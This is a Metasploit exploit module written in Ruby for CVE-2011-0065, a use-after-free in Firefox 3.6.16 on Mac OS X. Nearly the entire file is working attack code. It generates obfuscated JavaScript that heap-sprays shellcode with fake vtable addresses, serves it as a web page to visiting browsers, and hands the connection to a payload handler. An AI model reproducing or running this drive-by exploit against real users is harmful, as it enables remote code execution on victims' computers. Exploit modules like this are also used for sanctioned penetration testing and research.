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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  #include Msf::Exploit::Remote::BrowserAutopwn
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  #
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  #autopwn_info({
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  #  :ua_name => HttpClients::FF,
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  #  :ua_minver => "3.6.16",
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  #  :ua_maxver => "3.6.16",
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  #  :os_name => OperatingSystems::Match::MAC_OSX,
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  #  :javascript => true,
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  #  :rank => NormalRanking,
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  #})
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free',
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      'Description'    => %q{
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        This module exploits a use-after-free vulnerability in Mozilla
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        Firefox 3.6.16. An OBJECT element, mChannel, can be freed via the
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        OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
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        becomes a dangling pointer and can be reused when setting the OBJECTs
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        data attribute. This module has been tested on Mac OS X 10.6.6, 10.6.7,
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        10.6.8, 10.7.2 and 10.7.3.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'regenrecht',                       # discovery
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          'Rh0',                              # windows metasploit module
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          'argp <argp[at]census-labs.com>'    # mac os x version
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        ],
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      'References'     =>
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        [
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          ['CVE',    '2011-0065'],
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          ['OSVDB',  '72085'],
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          ['URL',    'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
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          ['URL',    'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
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        ],
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      'Payload'        =>
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        {
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          'Space' => 1024,
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        },
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      'Platform'       => 'osx',
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      'Targets'        =>
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        [
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          [
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            # Firefox 3.6.16 on Lion runs as a 32-bit process
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            'Firefox 3.6.16 on Mac OS X (10.6.6, 10.6.7, 10.6.8, 10.7.2 and 10.7.3)',
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            {
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              'Arch' => ARCH_X86,
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              'Fakevtable' => 0x2727,
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              'Fakefunc' => 0x2727001c,
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            }
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          ],
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2011-05-10'
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    ))
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  end
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  def on_request_uri(cli, request)
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    # random javascript variable names
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    js_element_name      = rand_text_alpha(rand(10) + 5)
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    js_obj_addr_name     = rand_text_alpha(rand(10) + 5)
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    js_sc_name           = rand_text_alpha(rand(10) + 5)
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    js_ret_addr_name     = rand_text_alpha(rand(10) + 5)
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    js_chunk_name        = rand_text_alpha(rand(10) + 5)
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    js_final_chunk_name  = rand_text_alpha(rand(10) + 5)
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    js_block_name        = rand_text_alpha(rand(10) + 5)
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    js_array_name        = rand_text_alpha(rand(10) + 5)
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    # check for non vulnerable targets
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    agent = request.headers['User-Agent']
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    if agent !~ /Intel Mac OS X 10\.6/ or agent !~ /Intel Mac OS X 10\.7/ and agent !~ /Firefox\/3\.6\.16/
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      vprint_error("Target not supported: #{agent}")
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      send_not_found(cli)
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      return
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    end
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    # re-generate the payload
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    return if ((payload = regenerate_payload(cli).encoded) == nil)
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    payload_buf  = ''
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    payload_buf << payload
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    escaped_payload = Rex::Text.to_unescape(payload_buf)
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    # setup the fake memory references
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    my_target = targets[0] # in case we add more targets later
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    fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
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    fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
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    exploit_js = <<-JS
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    #{js_element_name} = document.getElementById("d");
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    #{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink);
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    #{js_element_name}.onChannelRedirect(null, new Object, 0)
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    #{js_obj_addr_name} = unescape("\x00#{fakevtable}");
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    var #{js_sc_name} = unescape("#{escaped_payload}");
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    var #{js_ret_addr_name} = unescape("#{fakefunc}");
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    while(#{js_ret_addr_name}.length < 0x120)
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    {
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      #{js_ret_addr_name} += #{js_ret_addr_name};
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    }
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    var #{js_chunk_name} = #{js_ret_addr_name}.substring(0, 0x18);
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    #{js_chunk_name} += #{js_sc_name};
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    #{js_chunk_name} += #{js_ret_addr_name};
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    var #{js_final_chunk_name} = #{js_chunk_name}.substring(0, 0x10000 / 2);
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    while(#{js_final_chunk_name}.length < 0x800000)
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    {
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      #{js_final_chunk_name} += #{js_final_chunk_name};
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    }
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    var #{js_block_name} = #{js_final_chunk_name}.substring(0, 0x80000 - #{js_sc_name}.length - 0x24 / 2 - 0x4 / 2 - 0x2 / 2);
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    #{js_array_name} = new Array()
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    for(n = 0; n < 0x220; n++)
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    {
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      #{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
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    }
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    JS
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    html = <<-HTML
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    <html>
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    <body>
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      <object id="d"><object>
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      <script type="text/javascript">
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      #{exploit_js}
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      </script>
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    </body>
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    </html>
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    HTML
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    # remove the extra tabs
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    html = html.gsub(/^ {4}/, '')
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    print_status("Sending #{self.name}")
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    send_response_html(cli, html, { 'Content-Type' => 'text/html' })
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    # handle the payload
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    handler(cli)
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  end
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end
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